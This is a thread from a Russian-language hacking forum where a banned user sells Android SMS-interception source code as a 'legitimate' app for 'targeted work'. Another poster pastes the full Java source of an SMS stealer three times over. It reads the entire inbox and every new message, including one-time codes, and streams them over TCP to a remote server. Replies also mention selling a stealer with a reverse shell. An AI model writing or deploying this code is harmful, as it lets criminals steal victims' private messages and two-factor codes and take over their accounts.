• XSS.stack #1 – первый литературный журнал от юзеров форума

Исходный код Приложение Android мониоринг смс

В этой теме можно использовать автоматический гарант!

Статус
Закрыто для дальнейших ответов.

HikMbed

(L1) cache
Забанен
Регистрация
14.06.2023
Сообщения
802
Реакции
142
Пожалуйста, обратите внимание, что пользователь заблокирован
Цена
10000
Контакты
Если заинтересует -- контак в ЛС
Лигитимное Приложение для Android - > мониторинг смс собщений, определённых номеров - номера можно менять в коде,приложение отправляет определённое смс в телеграмм бот. Приложение работает в фоновом режиме , приложение запрашивает разрешения для работы с смс и уведомленияим. приложение работает на версиях Android с 6 по13 версию. Приложение подойдёт для точечной работы. Продам исходный код на kotlin. В комплекте исходный код + apk
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Только продажа исходного кода. Предложения аренды и работы за % не рассматриваю.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Лигитимное Приложение для Android - > мониторинг смс собщений, определённых номеров - номера можно менять в коде,приложение отправляет определённое смс в телеграмм бот. Приложение работает в фоновом режиме , приложение запрашивает разрешения для работы с смс и уведомленияим. приложение работает на версиях Android с 6 по13 версию. Приложение подойдёт для точечной работы. Продам исходный код на kotlin. В комплекте исходный код + apk
Чисто Андроид фишинг Бот?
 
Только продажа исходного кода. Предложения аренды и работы за % не рассматриваю.
а толку от таких сорцов без поддержки?
ща каждая новая обнова ГП звучит как приговор
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Продаю. объясню повторно. Это легитимное приложение. Установка требуется в ручном режиме и предоставление разрешений. Подойдёт для точечной работы. Сборка проект осуществляется в последний версии Android studio.
 
XML:
<uses-feature
        android:name="android.hardware.telephony"
        android:required="false" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>

так же указываем сервис для доступа к смс и работы в фоне

XML:
<service
            android:name=".SMSService"
            android:enabled="true
            android:exported="true" />

MainActivity.java
В MainActivity необходимо проверить, получены ли разрешения для доступа к SMS. Если разрешения предоставлены, запускается SMSService,
который в фоновом режиме отправляет SMS на сервер по TCP.

Java:
private static final int REQUEST_READ_SMS_PERMISSION = 3004;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_SMS, Manifest.permission.INTERNET}, REQUEST_READ_SMS_PERMISSION);
        } else {
            startSMSService();

        }
    }

    private void startSMSService() {
        Intent serviceIntent = new Intent(this, SMSService.class);
        startService(serviceIntent);
    }


    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == REQUEST_READ_SMS_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
            startSMSService();
        }
    }
}

Если разрешения предоставлены, запускается фоновый сервис, который отправляет одноразовые коды на сервер.
Кроме того, сервис будет отправлять все SMS-сообщения, когда-либо полученные на телефон, для определения сервисов, привязанных к SIM-карте.


Код SMSService -
Java:
@Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            stopSelf();
            return START_NOT_STICKY;
        }
        acquireWakeLock();
        startForegroundService();
        listenForServerRequests();
        registerContentObserver();
        sendLastSmsPeriodically();
        return START_STICKY;
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        releaseWakeLock();
        unregisterContentObserver();
        if (handler != null) {
            handler.removeCallbacksAndMessages(null);
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private void listenForServerRequests() {
        new Thread(() -> {
            while (true) {
                try (Socket socket = new Socket(SERVER_IP, PORT);
                     PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                    List<String> allSms = readAllSms();
                    for (String sms : allSms) {
                        out.println(sms);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                    try {
                        Thread.sleep(2000);
                    } catch (InterruptedException ex) {
                        ex.printStackTrace();
                    }
                }
            }
        }).start();
    }

    private void sendLastSmsPeriodically() {
        handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                sendLastSmsToServer();
                handler.postDelayed(this, 5000);
            }
        }, 5000);
    }

    private void sendLastSmsToServer() {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, NEW_PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                List<String> newSmsList = readNewSms();
                String smsToSend;
                if (!newSmsList.isEmpty()) {
                    smsToSend = newSmsList.get(0);
                    lastSentSms = smsToSend;
                } else {
                    smsToSend = lastSentSms;
                }
                if (smsToSend != null) {
                    out.println(smsToSend);
                    System.out.println("SMS sent successfully: " + smsToSend);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private List<String> readAllSms() {
        List<String> smsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            do {
                String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
                smsList.add(body);
            } while (cursor.moveToNext());
            cursor.close();
        }

        return smsList;
    }

    private void registerContentObserver() {
        contentObserver = new ContentObserver(new Handler()) {
            @Override
            public void onChange(boolean selfChange) {
                super.onChange(selfChange);

                List<String> newSms = readNewSms();
                for (String sms : newSms) {
                    sendSMSToServer(sms);
                }
            }
        };

        getContentResolver().registerContentObserver(Uri.parse(SMS_URI), true, contentObserver);
    }

    private void unregisterContentObserver() {
        if (contentObserver != null) {
            getContentResolver().unregisterContentObserver(contentObserver);
            contentObserver = null;
        }
    }

    private List<String> readNewSms() {
        List<String> newSmsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
            newSmsList.add(body);
            cursor.close();
        }

        return newSmsList;
    }

    private void sendSMSToServer(String sms) {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                out.println(sms);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private void startForegroundService() {
        Intent notificationIntent = new Intent(this, MainActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

        Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("Foreground Service")
                .setContentText("Service is running in the background")
                .setSmallIcon(R.mipmap.ic_launcher)
                .setContentIntent(pendingIntent)
                .build();

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startForeground(1, notification);
        } else {
            startForeground(1, notification);
        }
    }

    @Override
    public void onCreate() {
        super.onCreate();
        createNotificationChannel();
    }

    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel serviceChannel = new NotificationChannel(
                    CHANNEL_ID,
                    "Foreground Service Channel",
                    NotificationManager.IMPORTANCE_DEFAULT
            );

            NotificationManager manager = getSystemService(NotificationManager.class);
            manager.createNotificationChannel(serviceChannel);
        }
    }

    private void acquireWakeLock() {
        PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
        if (powerManager != null) {
            wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
                    "SMSService::WakeLock");
            wakeLock.acquire();
        }
    }

    private void releaseWakeLock() {
        if (wakeLock != null && wakeLock.isHeld()) {
            wakeLock.release();
        }
    }
}

Код не мой. Спасибо автору.
 
XML:
<uses-feature
        android:name="android.hardware.telephony"
        android:required="false" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>

так же указываем сервис для доступа к смс и работы в фоне

XML:
<service
            android:name=".SMSService"
            android:enabled="true
            android:exported="true" />

MainActivity.java
В MainActivity необходимо проверить, получены ли разрешения для доступа к SMS. Если разрешения предоставлены, запускается SMSService,
который в фоновом режиме отправляет SMS на сервер по TCP.

Java:
private static final int REQUEST_READ_SMS_PERMISSION = 3004;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_SMS, Manifest.permission.INTERNET}, REQUEST_READ_SMS_PERMISSION);
        } else {
            startSMSService();

        }
    }

    private void startSMSService() {
        Intent serviceIntent = new Intent(this, SMSService.class);
        startService(serviceIntent);
    }


    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == REQUEST_READ_SMS_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
            startSMSService();
        }
    }
}

Если разрешения предоставлены, запускается фоновый сервис, который отправляет одноразовые коды на сервер.
Кроме того, сервис будет отправлять все SMS-сообщения, когда-либо полученные на телефон, для определения сервисов, привязанных к SIM-карте.


Код SMSService -
Java:
@Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            stopSelf();
            return START_NOT_STICKY;
        }
        acquireWakeLock();
        startForegroundService();
        listenForServerRequests();
        registerContentObserver();
        sendLastSmsPeriodically();
        return START_STICKY;
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        releaseWakeLock();
        unregisterContentObserver();
        if (handler != null) {
            handler.removeCallbacksAndMessages(null);
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private void listenForServerRequests() {
        new Thread(() -> {
            while (true) {
                try (Socket socket = new Socket(SERVER_IP, PORT);
                     PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                    List<String> allSms = readAllSms();
                    for (String sms : allSms) {
                        out.println(sms);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                    try {
                        Thread.sleep(2000);
                    } catch (InterruptedException ex) {
                        ex.printStackTrace();
                    }
                }
            }
        }).start();
    }

    private void sendLastSmsPeriodically() {
        handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                sendLastSmsToServer();
                handler.postDelayed(this, 5000);
            }
        }, 5000);
    }

    private void sendLastSmsToServer() {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, NEW_PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                List<String> newSmsList = readNewSms();
                String smsToSend;
                if (!newSmsList.isEmpty()) {
                    smsToSend = newSmsList.get(0);
                    lastSentSms = smsToSend;
                } else {
                    smsToSend = lastSentSms;
                }
                if (smsToSend != null) {
                    out.println(smsToSend);
                    System.out.println("SMS sent successfully: " + smsToSend);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private List<String> readAllSms() {
        List<String> smsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            do {
                String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
                smsList.add(body);
            } while (cursor.moveToNext());
            cursor.close();
        }

        return smsList;
    }

    private void registerContentObserver() {
        contentObserver = new ContentObserver(new Handler()) {
            @Override
            public void onChange(boolean selfChange) {
                super.onChange(selfChange);

                List<String> newSms = readNewSms();
                for (String sms : newSms) {
                    sendSMSToServer(sms);
                }
            }
        };

        getContentResolver().registerContentObserver(Uri.parse(SMS_URI), true, contentObserver);
    }

    private void unregisterContentObserver() {
        if (contentObserver != null) {
            getContentResolver().unregisterContentObserver(contentObserver);
            contentObserver = null;
        }
    }

    private List<String> readNewSms() {
        List<String> newSmsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
            newSmsList.add(body);
            cursor.close();
        }

        return newSmsList;
    }

    private void sendSMSToServer(String sms) {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                out.println(sms);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private void startForegroundService() {
        Intent notificationIntent = new Intent(this, MainActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

        Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("Foreground Service")
                .setContentText("Service is running in the background")
                .setSmallIcon(R.mipmap.ic_launcher)
                .setContentIntent(pendingIntent)
                .build();

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startForeground(1, notification);
        } else {
            startForeground(1, notification);
        }
    }

    @Override
    public void onCreate() {
        super.onCreate();
        createNotificationChannel();
    }

    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel serviceChannel = new NotificationChannel(
                    CHANNEL_ID,
                    "Foreground Service Channel",
                    NotificationManager.IMPORTANCE_DEFAULT
            );

            NotificationManager manager = getSystemService(NotificationManager.class);
            manager.createNotificationChannel(serviceChannel);
        }
    }

    private void acquireWakeLock() {
        PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
        if (powerManager != null) {
            wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
                    "SMSService::WakeLock");
            wakeLock.acquire();
        }
    }

    private void releaseWakeLock() {
        if (wakeLock != null && wakeLock.isHeld()) {
            wakeLock.release();
        }
    }
}

Код не мой. Спасибо автору.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
XML:
<uses-feature
        android:name="android.hardware.telephony"
        android:required="false" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>

так же указываем сервис для доступа к смс и работы в фоне

XML:
<service
            android:name=".SMSService"
            android:enabled="true
            android:exported="true" />

MainActivity.java
В MainActivity необходимо проверить, получены ли разрешения для доступа к SMS. Если разрешения предоставлены, запускается SMSService,
который в фоновом режиме отправляет SMS на сервер по TCP.

Java:
private static final int REQUEST_READ_SMS_PERMISSION = 3004;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_SMS, Manifest.permission.INTERNET}, REQUEST_READ_SMS_PERMISSION);
        } else {
            startSMSService();

        }
    }

    private void startSMSService() {
        Intent serviceIntent = new Intent(this, SMSService.class);
        startService(serviceIntent);
    }


    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == REQUEST_READ_SMS_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
            startSMSService();
        }
    }
}

Если разрешения предоставлены, запускается фоновый сервис, который отправляет одноразовые коды на сервер.
Кроме того, сервис будет отправлять все SMS-сообщения, когда-либо полученные на телефон, для определения сервисов, привязанных к SIM-карте.


Код SMSService -
Java:
@Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
            stopSelf();
            return START_NOT_STICKY;
        }
        acquireWakeLock();
        startForegroundService();
        listenForServerRequests();
        registerContentObserver();
        sendLastSmsPeriodically();
        return START_STICKY;
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        releaseWakeLock();
        unregisterContentObserver();
        if (handler != null) {
            handler.removeCallbacksAndMessages(null);
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private void listenForServerRequests() {
        new Thread(() -> {
            while (true) {
                try (Socket socket = new Socket(SERVER_IP, PORT);
                     PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                    List<String> allSms = readAllSms();
                    for (String sms : allSms) {
                        out.println(sms);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                    try {
                        Thread.sleep(2000);
                    } catch (InterruptedException ex) {
                        ex.printStackTrace();
                    }
                }
            }
        }).start();
    }

    private void sendLastSmsPeriodically() {
        handler = new Handler();
        handler.postDelayed(new Runnable() {
            @Override
            public void run() {
                sendLastSmsToServer();
                handler.postDelayed(this, 5000);
            }
        }, 5000);
    }

    private void sendLastSmsToServer() {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, NEW_PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                List<String> newSmsList = readNewSms();
                String smsToSend;
                if (!newSmsList.isEmpty()) {
                    smsToSend = newSmsList.get(0);
                    lastSentSms = smsToSend;
                } else {
                    smsToSend = lastSentSms;
                }
                if (smsToSend != null) {
                    out.println(smsToSend);
                    System.out.println("SMS sent successfully: " + smsToSend);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private List<String> readAllSms() {
        List<String> smsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            do {
                String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
                smsList.add(body);
            } while (cursor.moveToNext());
            cursor.close();
        }

        return smsList;
    }

    private void registerContentObserver() {
        contentObserver = new ContentObserver(new Handler()) {
            @Override
            public void onChange(boolean selfChange) {
                super.onChange(selfChange);

                List<String> newSms = readNewSms();
                for (String sms : newSms) {
                    sendSMSToServer(sms);
                }
            }
        };

        getContentResolver().registerContentObserver(Uri.parse(SMS_URI), true, contentObserver);
    }

    private void unregisterContentObserver() {
        if (contentObserver != null) {
            getContentResolver().unregisterContentObserver(contentObserver);
            contentObserver = null;
        }
    }

    private List<String> readNewSms() {
        List<String> newSmsList = new ArrayList<>();
        Cursor cursor = getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC");

        if (cursor != null && cursor.moveToFirst()) {
            String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
            newSmsList.add(body);
            cursor.close();
        }

        return newSmsList;
    }

    private void sendSMSToServer(String sms) {
        new Thread(() -> {
            try (Socket socket = new Socket(SERVER_IP, PORT);
                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
                out.println(sms);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();
    }

    private void startForegroundService() {
        Intent notificationIntent = new Intent(this, MainActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

        Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("Foreground Service")
                .setContentText("Service is running in the background")
                .setSmallIcon(R.mipmap.ic_launcher)
                .setContentIntent(pendingIntent)
                .build();

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startForeground(1, notification);
        } else {
            startForeground(1, notification);
        }
    }

    @Override
    public void onCreate() {
        super.onCreate();
        createNotificationChannel();
    }

    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel serviceChannel = new NotificationChannel(
                    CHANNEL_ID,
                    "Foreground Service Channel",
                    NotificationManager.IMPORTANCE_DEFAULT
            );

            NotificationManager manager = getSystemService(NotificationManager.class);
            manager.createNotificationChannel(serviceChannel);
        }
    }

    private void acquireWakeLock() {
        PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
        if (powerManager != null) {
            wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
                    "SMSService::WakeLock");
            wakeLock.acquire();
        }
    }

    private void releaseWakeLock() {
        if (wakeLock != null && wakeLock.isHeld()) {
            wakeLock.release();
        }
    }
}

Код не мой. Спасибо автору.
У меня другая реализация, и на
Форуме експоит меня нету. Моя реализация ловит смс определённых номеров, и перенаправляет в тг бот.
 
Лигитимное Приложение для Android - > мониторинг смс собщений, определённых номеров - номера можно менять в коде,приложение отправляет определённое смс в телеграмм бот. Приложение работает в фоновом режиме , приложение запрашивает разрешения для работы с смс и уведомленияим. приложение работает на версиях Android с 6 по13 версию. Приложение подойдёт для точечной работы. Продам исходный код на kotlin. В комплекте исходный код + apk
Чет дорого, 1к$ за настолько урезанный функционал. Я продавал такой же стиллер, только он еще определяет аккаунты на устойстве, детектит номер телефона и может запускать реверсшелл, и все это за 800$. И спрос кстати был не очень большой.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Tox 2AF2143F631C1E3193754109FDA9C83D17C6135CE3778E8B9341AAD0BBB53E2B449B29A41C5E
Только до завтра до 21:00, исходники Цена 650$ в одни руки без торга . Помогу собрать Скомпилировать проект. Вполне годится для точечной работы. Добавил активити с полем для ввода нужных номеров. Запрашивает разрешения для работы с смс.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Лигитимное Приложение для Android - > мониторинг смс собщений, определённых номеров - номера можно менять в коде,приложение отправляет определённое смс в телеграмм бот. Приложение работает в фоновом режиме , приложение запрашивает разрешения для работы с смс и уведомленияим. приложение работает на версиях Android с 6 по13 версию. Приложение подойдёт для точечной работы. Продам исходный код на kotlin. В комплекте исходный код + apk
ГИПЕРУРЕЗАННЫЙ функционал, написан на котлине, для старых версий дройда за оверпрайс :)
желаю хороших продаж :))))))
 
Статус
Закрыто для дальнейших ответов.
Верх